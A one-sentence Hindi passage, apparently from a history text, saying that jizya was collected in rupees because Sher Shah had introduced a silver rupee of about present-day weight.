रुपया जज़िया में लिया जाता था, क्योंकि शेरशाह ने प्राय: आजकल के ही वज़न का चाँदी का रुपया चला दिया था।

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